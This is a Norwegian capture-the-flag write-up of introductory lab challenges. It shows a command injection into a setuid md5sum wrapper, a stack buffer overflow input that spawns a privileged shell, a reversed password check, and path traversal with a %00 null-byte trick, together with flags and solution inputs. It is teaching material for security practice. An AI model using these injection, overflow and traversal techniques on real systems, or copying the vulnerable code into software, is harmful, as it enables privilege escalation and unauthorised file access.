1.1_scoreboard
Første grunnleggende oppgave viser oss hvordan vi skal submitte flaggene vi finner. Vi har fått ei FLAGG
fil som viser kommandoen vi må bruke.
1
2
3
4
5
6
7
8
9
10
11
12
login@corax:~/1_grunnleggende/1_scoreboard$ cat FLAGG
For å løse denne oppgaven må du skrive:
$ scoreboard 49cbfd7e622559021fc596e978570703
login@corax:~/1_grunnleggende/1_scoreboard$ scoreboard 49cbfd7e622559021fc596e978570703
Kategori: 1. Grunnleggende
Oppgave: 1.1_scoreboard
Svar: 49cbfd7e622559021fc596e978570703
Poeng: 10
Gratulerer, korrekt svar!
1.2_setuid
I oppgave 2 er flagget eid av brukeren basic2
, og vi har fått 2 binærfiler som har setuid bitet satt slik at vi kan kjøre programmene som om vi er brukeren basic2
.
1
2
3
4
5
6
login@corax:~/1_grunnleggende/2_setuid$ ls -l
total 100
-r-------- 1 basic2 login 435 Jan 1 21:41 FLAGG
-r--r--r-- 1 basic2 login 1767 Dec 19 19:00 LESMEG.md
-r-sr-xr-x 1 basic2 login 44016 Dec 19 19:00 cat
-r-sr-xr-x 1 basic2 login 48144 Dec 19 19:00 id
Vi kan lese flagget med kommandoen ./cat FLAGG
.
1.3_injection
Liknende prinsipp i denne oppgaven som i 1.2_setuid
, hvor flagget er eid av bruekren basic3
og vi har et setuid program som vi kan kjøre som om vi er brukeren basic3
. Kildekoden til programmet er også tilgjengelig.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int main(int argc, char *argv[]){
if (argc != 2) {
printf("Usage: %s <file>\n\n", argv[0]);
printf("Suid-wrapper rundt md5sum.\n");
exit(0);
}
char cmd[512];
snprintf(cmd, sizeof(cmd), "/usr/bin/md5sum %s", argv[1]);
printf("Kjører kommando:\n");
printf(cmd);
printf("\n\n");
setreuid(geteuid(), geteuid());
printf("Resultat:\n");
system(cmd);
Denne kommandoen blir kjørt av programmet med vårt input istedet for %s
: "/usr/bin/md5sum %s"
, som betyr at vi kan injecte kommandoer ved å legge til ;
og kommandoen vi vil kjøre etterpå. ./md5sum "FLAGG; cat FLAGG"
gir oss flagget.
1.4_overflow
Denne oppgaven demonstrerer en simpel buffer overflow hvor vi skal få programmet til å kjøre shellcode som som gir oss shell som brukeren basic4
(siden overflow programmet er setuid som brukeren).
Vi må også sette en stack-variabel above
til verdien 0x4847464544434241
, på grunn av en if-sjekk: if (above == 0x4847464544434241)
.
Passere if-sjekken
Vi starter med å finne offsettet til above
variabelen. Hvis vi ser på stack-oversikten som blir printet til oss av programmet kan vi se at det er 40 bytes fra starten av bufferet til starten av above
variabelen (5 rader på 8 bytes hver).
1
2
3
4
5
6
&above 00 00 00 00 00 00 00 00 |........|
0x7fff785ec400 00 00 00 00 00 00 00 00 |........|
0x7fff785ec3f8 00 00 00 00 00 00 00 00 |........|
0x7fff785ec3f0 00 00 00 00 00 00 00 00 |........|
0x7fff785ec3e8 00 00 00 00 00 00 00 00 |........|
&buffer 00 00 00 00 00 00 00 00 |........|
Det vil si at de neste 8 bytsene vi skriver til bufferet vil overskrive above
variabelen. Vi vet at verdien til above
må være 0x4847464544434241
, som er lik bokstanene ABCDEFGH
i ASCII. Første del av inputet vårt blir dermed
1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCDEFGH
Kjøre shellcode
Fra stack-oversikten kan vi se at det er 24 bytes (3 rader på 8 bytes hver) etter slutten av above
variabelen til starten av returadressen.
1
2
3
4
5
stored rip ca 31 7e 5f ab 7f 00 00 |.1~_....|
stored rbp 02 00 00 00 00 00 00 00 |........|
0x7ffc00cc1cf8 00 00 00 00 00 00 00 00 |........|
0x7ffc00cc1cf0 00 1e cc 00 fc 7f 00 00 |........|
&above 41 42 43 44 45 46 47 48 |ABCDEFGH|
Når vi har lagt til de 24 bytsene (f.eks 24 B’er) vil de 8 neste bytsene vi skriver overskrive returadressen på stacken, som vil gjøre at programmet ved neste return
vil hoppe til adressen vi har skrevet. Fra kildekoden til overflow
programmet vet vi at det er shellcode som vi vil kjøre på addressen 0x303030303030
. Dette tilsvarer ASCII-bokstavene 000000
, så da kan vi legge til 6 nuller etter de 24 B’ene vi la til tidligere.
Vi kjører programmet vårt med inputet, og det gir oss shell som basic4
brukeren, og vi kan da lese flagget med cat FLAGG
.
1
2
3
4
login@corax:~/1_grunnleggende/4_overflow$ ./overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCDEFGHBBBBBBBBBBBBBBBBBBBBBBBB000000
$ id
uid=1004(basic4) gid=1000(login) groups=1000(login)
1.5_nettverk
Denne oppgaven består av å kommunisere med en server, og har 3 steg. Vi kan koble til serveren med følgende python kode:
1
2
3
4
5
6
7
8
import socket
TCP_IP = "127.0.0.1"
TCP_PORT = 10015
conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conn.connect((TCP_IP, TCP_PORT))
print(conn.recv(4096).decode("utf-8"))
Steg 1
Vi får tilbake meldingen
1
2
Dette er en grunnleggende introduksjon til nettverksprogrammering.
Når du har åpnet ti nye tilkoblinger til denne serveren vil du få videre instruksjoner på denne socketen.
Vi må dermed åpne 10 nye tilkoblinger til serveren, så vi kan f.eks lage en liste som holder på all tilkoblingene.
1
2
3
4
5
6
a = []
for i in range(10):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
a.append(s)
print(conn.recv(4096).decode("utf-8"))
Steg 2
Ny melding:
1
2
3
Du vil nå få tilsendt et 32-bits heltall i `network byte order` i hver av de ti andre sesjonene.
Summer alle, og send resultatet tilbake på denne socketen.
Det er mange måter å konvertere data på. En av dem er `struct.unpack`.
Hver tilkobling vi la til i lista vil få tilsendt et heltall som vi skal summere. network byte order
refererer til big-endian
. Vi kan unpacke tallet vi får tilsendt med struct.unpack('>I', <data>)
.
1
2
3
4
5
6
7
8
9
sum = 0
for b in range(len(a)):
data = a[b].recv(4096)
value = struct.unpack('>I',data)
sum += value[0]
# Send summen
conn.send(bytearray(struct.pack('>I', sum)))
print(conn.recv(4096).decode("utf-8"))
Steg 3
1
2
Neste melding sendes fordelt over de ti sesjonene.
For å unngå å blokkere mens du leser kan du for eksempel bruke `select.select()` eller `socket.settimeout(0)`.
Vi velger å bruke select.select()
for å løse dette steget. Funksjonen vil gi oss en liste med sockets som er klare til å bli lest fra, som vi kan loope over for å hente ut deler av hele meldingen som blir sendt. Meldingen som blir sendt her er flagget.
1
2
3
4
5
6
7
8
while True:
try:
ready,_,_ = select.select(a, [], [], 10.0)
for sock in ready:
tpl = sock.recv(4096).decode("utf-8")
print(tpl[0], end="")
except:
break
Fullstendig løsning
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import socket
import struct
import select
TCP_IP = "127.0.0.1"
TCP_PORT = 10015
def main():
conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conn.connect((TCP_IP, TCP_PORT))
print(conn.recv(4096).decode("utf-8"))
a = []
for i in range(10):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
a.append(s)
print(conn.recv(4096).decode("utf-8"))
sum = 0
for b in range(len(a)):
data = a[b].recv(4096)
value = struct.unpack('>I',data)
sum += value[0]
conn.send(bytearray(struct.pack('>I', sum)))
print(conn.recv(4096).decode("utf-8"))
while True:
try:
ready,_,_ = select.select(a, [], [], 10.0)
for sock in ready:
tpl = sock.recv(4096).decode("utf-8")
print(tpl[0], end="")
except:
break
if __name__ == "__main__":
main()
1.6_reversing
Denne oppgaven krever at vi reverserer en binærfil som tar inn et passord som argument når vi kjører filen. Vi kan reversere programmet med IDA for å finne ut hvordan programmet fungerer.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int __fastcall main(int argc, const char **argv, const char **envp) {
__uid_t v3; // ebx
__uid_t v4; // eax
char *path[3]; // [rsp+20h] [rbp-30h] BYREF
unsigned int v8; // [rsp+3Ch] [rbp-14h]
if ( argc != 2 ) {
printf("Bruk: %s PASSORD\n\n", *argv);
puts(s);
puts("Hvis passordet er korrekt startes et nytt shell med utvidete rettigheter.");
exit(0);
}
v8 = check_password(argv[1]);
if ( v8 ) {
puts("Feil passord :(");
printf(aDuStoppetP, v8);
} else {
path[0] = "/bin/sh";
path[1] = 0LL;
puts("Korrekt passord!");
v3 = geteuid();
v4 = geteuid();
setreuid(v4, v3);
execve("/bin/sh", path, (char *const *)envp);
}
return v8;
}
main
funksjonen til programmet kaller på check_password
med argumentet vi gir programmet når vi kjører det. Hvis check_password
returnerer 0 vil vi få shell som brukeren basic6
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 __fastcall check_password(char *input) {
char s1[10]; // [rsp+12h] [rbp-Eh] BYREF
int v3; // [rsp+1Ch] [rbp-4h]
if ( strlen(input) != 32 )
return 1LL;
if ( strncmp("Reverse_engineering", input, 19uLL) )
return 2LL;
if ( input[19] != '_' )
return 3LL;
v3 = *(_DWORD *)(input + 19);
if ( v3 != '_re_' )
return 4LL;
strcpy(s1, "morsomt__");
if ( !strncmp(s1, input + 23, 0xAuLL) )
return 0LL;
else
return 5LL;
}
Programmet sjekker for det følgende:
- Lengden på
input
er 32 bytes - De første 19 bytesene er lik teksten
Reverse_engineering
- Bokstav nummer 20 (indeks 19) er
_
- De neste 4 bytsene er lik
_er_
(vi reverserer teksten_re_
på grunn av endianness) - De siste 9 bytsene er lik
morsomt__
Det vil si at hvis vi gir inputet Reverse_engineering_er_morsomt__
til programmet får vi shell som brukeren basic6
, og vi kan hente flagget.
1.7_path_traversal
Vi er gitt et program som kaller på less bok/<filnavn>.txt
hvor vi kan inpute <filnavn>
selv. Programmet er ment å bare lese filer fra bok/
mappa, mens FLAGG.txt
ligger ett nivå bak, sammen med ett til flagg BONUS_FLAGG
.
Som oppgavenavnet tilsier kan vi bruke path-traversal for å lese FLAGG.txt
, ved å gi filnavnet ../FLAGG
, og dermed kjøre programmet slik: ./les_bok ../FLAGG
.
1.8_path_traversal_bonus
Siden programmet legger til .txt
på filnavnet vi gir kan vi ikke lese bonusflagget på samme måte som i 1.7_path_traversal
. Vi må derfor finne en annen måte å lese filen på, som unngår at programmet legger til .txt
på filnavnet.
Heldigvis kaller programmet på en funksjon url_decode(command);
før den kjører kommandoen som leser flagget, som gir oss muligheten til å terminere tekststrengen vi gir som filnavn med en nullbyte, slik at .txt
ikke blir lagt til. Gir vi filnavnet ./les_bok ../BONUS_FLAGG%00
til programmet får vi tak i flagget.